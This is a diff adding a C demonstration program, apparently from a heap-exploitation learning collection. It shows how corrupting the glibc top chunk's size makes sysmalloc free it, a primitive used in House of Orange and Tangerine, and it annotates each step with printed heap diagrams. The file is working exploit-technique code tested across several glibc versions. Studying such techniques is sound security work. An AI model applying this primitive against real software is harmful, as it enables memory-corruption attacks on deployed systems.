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| Original file line number | Diff line number | Diff line change |
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| @@ -0,0 +1,180 @@ | ||
| #define _GNU_SOURCE | ||
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| #include <stdio.h> | ||
| #include <string.h> | ||
| #include <assert.h> | ||
| #include <malloc.h> | ||
| #include <unistd.h> | ||
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| #define SIZE_SZ sizeof(size_t) | ||
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| #define CHUNK_HDR_SZ (SIZE_SZ*2) | ||
| // same for x86_64 and x86 | ||
| #define MALLOC_ALIGN (SIZE_SZ*2) | ||
| #define MALLOC_MASK (-MALLOC_ALIGN) | ||
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| #define PAGESIZE sysconf(_SC_PAGESIZE) | ||
| #define PAGE_MASK (PAGESIZE-1) | ||
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| // fencepost are offsets removed from the top before freeing | ||
| #define FENCEPOST (2*CHUNK_HDR_SZ) | ||
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| #define PROBE (0x20-CHUNK_HDR_SZ) | ||
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| // target top chunk size that should be freed | ||
| #define CHUNK_FREED_SIZE 0x150 | ||
| #define FREED_SIZE (CHUNK_FREED_SIZE-CHUNK_HDR_SZ) | ||
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| /** | ||
| * Tested on: | ||
| * + GLIBC 2.23 (x86_64, x86 & aarch64) | ||
| * + GLIBC 2.39 (x86_64, x86 & aarch64) | ||
| * + GLIBC 2.34 (x86_64, x86 & aarch64) | ||
| * + GLIBC 2.31 (x86_64, x86 & aarch64) | ||
| * + GLIBC 2.27 (x86_64, x86 & aarch64) | ||
| * | ||
| * sysmalloc allows us to free() the top chunk of heap to create nearly arbitrary bins, | ||
| * which can be used to corrupt heap without needing to call free() directly. | ||
| * This is achieved through sysmalloc calling _int_free to the top_chunk (wilderness), | ||
| * if the top_chunk can't be merged during heap growth | ||
| * https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c#L2913 | ||
| * | ||
| * This technique is used in House of Orange & Tangerine | ||
| */ | ||
| int main() { | ||
| size_t allocated_size, *top_size_ptr, top_size, new_top_size, freed_top_size, *new, *old; | ||
| // disable buffering | ||
| setvbuf(stdout, NULL, _IONBF, 0); | ||
| setvbuf(stdin, NULL, _IONBF, 0); | ||
| setvbuf(stderr, NULL, _IONBF, 0); | ||
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| // check if all chunks sizes are aligned | ||
| assert((CHUNK_FREED_SIZE & MALLOC_MASK) == CHUNK_FREED_SIZE); | ||
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| puts("Constants:"); | ||
| printf("chunk header \t\t= 0x%lx\n", CHUNK_HDR_SZ); | ||
| printf("malloc align \t\t= 0x%lx\n", MALLOC_ALIGN); | ||
| printf("page align \t\t= 0x%lx\n", PAGESIZE); | ||
| printf("fencepost size \t\t= 0x%lx\n", FENCEPOST); | ||
| printf("freed size \t\t= 0x%lx\n", FREED_SIZE); | ||
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| printf("target top chunk size \t= 0x%lx\n", CHUNK_HDR_SZ + MALLOC_ALIGN + CHUNK_FREED_SIZE); | ||
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| // probe the current size of the top_chunk, | ||
| // can be skipped if it is already known or predictable | ||
| new = malloc(PROBE); | ||
| top_size = new[(PROBE / SIZE_SZ) + 1]; | ||
| printf("first top size \t\t= 0x%lx\n", top_size); | ||
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| // calculate allocated_size | ||
| allocated_size = top_size - CHUNK_HDR_SZ - (2 * MALLOC_ALIGN) - CHUNK_FREED_SIZE; | ||
| allocated_size &= PAGE_MASK; | ||
| allocated_size &= MALLOC_MASK; | ||
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| printf("allocated size \t\t= 0x%lx\n\n", allocated_size); | ||
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| puts("1. create initial malloc that will be used to corrupt the top_chunk (wilderness)"); | ||
| new = malloc(allocated_size); | ||
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| // use BOF or OOB to corrupt the top_chunk | ||
| top_size_ptr = &new[(allocated_size / SIZE_SZ)-1 + (MALLOC_ALIGN / SIZE_SZ)]; | ||
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| top_size = *top_size_ptr; | ||
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| printf("" | ||
| "----- %-14p ----\n" | ||
| "| NEW | <- initial malloc\n" | ||
| "| |\n" | ||
| "----- %-14p ----\n" | ||
| "| TOP | <- top chunk (wilderness)\n" | ||
| "| SIZE (0x%05lx) |\n" | ||
| "| ... |\n" | ||
| "----- %-14p ---- <- end of current heap page\n\n", | ||
| new - 2, | ||
| top_size_ptr - 1, | ||
| top_size - 1, | ||
| top_size_ptr - 1 + (top_size / SIZE_SZ)); | ||
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| puts("2. corrupt the size of top chunk to be less, but still page aligned"); | ||
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| // make sure corrupt top size is page aligned, generally 0x1000 | ||
| // https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c#L2599 | ||
| new_top_size = top_size & PAGE_MASK; | ||
| *top_size_ptr = new_top_size; | ||
| printf("" | ||
| "----- %-14p ----\n" | ||
| "| NEW |\n" | ||
| "| AAAAAAAAAAAAAAAAAAAAA | <- positive OOB (i.e. BOF)\n" | ||
| "----- %-14p ----\n" | ||
| "| TOP | <- corrupt size of top chunk (wilderness)\n" | ||
| "| SIZE (0x%05lx) |\n" | ||
| "----- %-14p ---- <- still page aligned\n" | ||
| "| ... |\n" | ||
| "----- %-14p ---- <- end of current heap page\n\n", | ||
| new - 2, | ||
| top_size_ptr - 1, | ||
| new_top_size - 1, | ||
| top_size_ptr - 1 + (new_top_size / SIZE_SZ), | ||
| top_size_ptr - 1 + (top_size / SIZE_SZ)); | ||
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| puts("3. create an allocation larger than the remaining top chunk, to trigger heap growth"); | ||
| puts("The now corrupt top_chunk triggers sysmalloc to call _init_free on it"); | ||
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| // remove fencepost from top_chunk, to get size that will be freed | ||
| // https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c#L2895 | ||
| freed_top_size = (new_top_size - FENCEPOST) & MALLOC_MASK; | ||
| assert(freed_top_size == CHUNK_FREED_SIZE); | ||
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| old = new; | ||
| new = malloc(CHUNK_FREED_SIZE + 0x10); | ||
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| printf("" | ||
| "----- %-14p ----\n" | ||
| "| OLD |\n" | ||
| "| AAAAAAAAAAAAAAAAAAAAA |\n" | ||
| "----- %-14p ----\n" | ||
| "| FREED | <- old top got freed because it couldn't be merged\n" | ||
| "| SIZE (0x%05lx) |\n" | ||
| "----- %-14p ----\n" | ||
| "| FENCEPOST | <- just some architecture depending padding\n" | ||
| "----- %-14p ---- <- still page aligned\n" | ||
| "| ... |\n" | ||
| "----- %-14p ---- <- end of previous heap page\n" | ||
| "| NEW | <- new malloc\n" | ||
| "-------------------------\n" | ||
| "| TOP | <- top chunk (wilderness)\n" | ||
| "| ... |\n" | ||
| "------------------------- <- end of current heap page\n\n", | ||
| old - 2, | ||
| top_size_ptr - 1, | ||
| freed_top_size, | ||
| top_size_ptr - 1 + (CHUNK_FREED_SIZE/SIZE_SZ), | ||
| top_size_ptr - 1 + (new_top_size / SIZE_SZ), | ||
| new - (MALLOC_ALIGN / SIZE_SZ)); | ||
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| puts("...\n"); | ||
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| puts("?. reallocated into the freed chunk"); | ||
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| old = new; | ||
| new = malloc(FREED_SIZE); | ||
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| assert((size_t) old > (size_t) new); | ||
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| printf("" | ||
| "----- %-14p ----\n" | ||
| "| NEW | <- allocated into the freed chunk\n" | ||
| "| |\n" | ||
| "----- %-14p ----\n" | ||
| "| ... |\n" | ||
| "----- %-14p ---- <- end of previous heap page\n" | ||
| "| OLD | <- old malloc\n" | ||
| "-------------------------\n" | ||
| "| TOP | <- top chunk (wilderness)\n" | ||
| "| ... |\n" | ||
| "------------------------- <- end of current heap page\n", | ||
| new - 2, | ||
| top_size_ptr - 1 + (CHUNK_FREED_SIZE / SIZE_SZ), | ||
| old - (MALLOC_ALIGN / SIZE_SZ)); | ||
| } |
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